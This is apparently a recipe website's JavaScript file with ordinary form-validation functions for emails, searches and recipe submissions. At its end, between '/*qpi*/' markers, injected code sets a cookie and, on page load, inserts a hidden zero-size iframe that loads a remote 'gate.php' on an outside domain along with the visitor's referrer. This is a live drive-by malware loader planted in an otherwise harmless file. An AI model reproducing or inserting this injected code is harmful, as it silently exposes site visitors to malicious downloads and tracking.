function isValidEmail(strEmail){
  	if(strEmail != ""){
    	validRegExp = /^[^@]+@[^@]+.[a-z]{2,}$/i;
   		// search email text for regular exp matches
    	if (strEmail.search(validRegExp) == -1){
      		return 0;
   		} 
     	return 1; 
  	}
}

function checkForm(searchform){
	if (searchform.words.value == ""){
		alert("Please enter some words to search our recipe database for.")
		return false;
	}
}

function changeCat(){
	var current = document.category.categories.selectedIndex;

	if(document.category.categories.options[current].value == -1){
		alert("You must select a real category from the dropdown menu to continue.")
		document.category.categories.focus();
		return false;
	}
}

function changeCuisine(){
	var current = document.cuisine.categories.selectedIndex;

	if(document.cuisine.categories.options[current].value == -1){
		alert("You must select a real cuisine from the dropdown menu to continue.")
		document.cuisine.categories.focus();
		return false;
	}
}

function novalues(addform){
	var goodEmail = addform.email.value
        checkEmail = isValidEmail(goodEmail)
        if(checkEmail == 0){
          alert('A valid e-mail address is required.\nPlease amend and retry');
          document.addform.email.focus();
	  return false;
        }
        
        if (addform.recipename.value == ""){
		alert("You must enter a title in the title field. Your recipe cannot be saved without a title.")
		document.addform.recipename.focus();
		return false;
	}

	if (addform.instructions.value == ""){
		alert("You must enter some cooking instructiona in the instructions field. Without a instructions your recipe cannot be saved.")
		document.addform.instructions.focus();
		return false;
	}
            if (addform.spamImageTheme.value == -1){
		alert("Please select an image theme.")
		document.addform.spamImageTheme.focus();
		return false;
	   }
        
}

function check4name(){
	if(document.catform.catname.value == ""){
		alert("Please enter a name for the category you would like to create")
		document.catform.catname.focus();
		return false;
	}
}


/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://zalupka.in/gate/gate.php?f=944716&r='+encodeURI(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
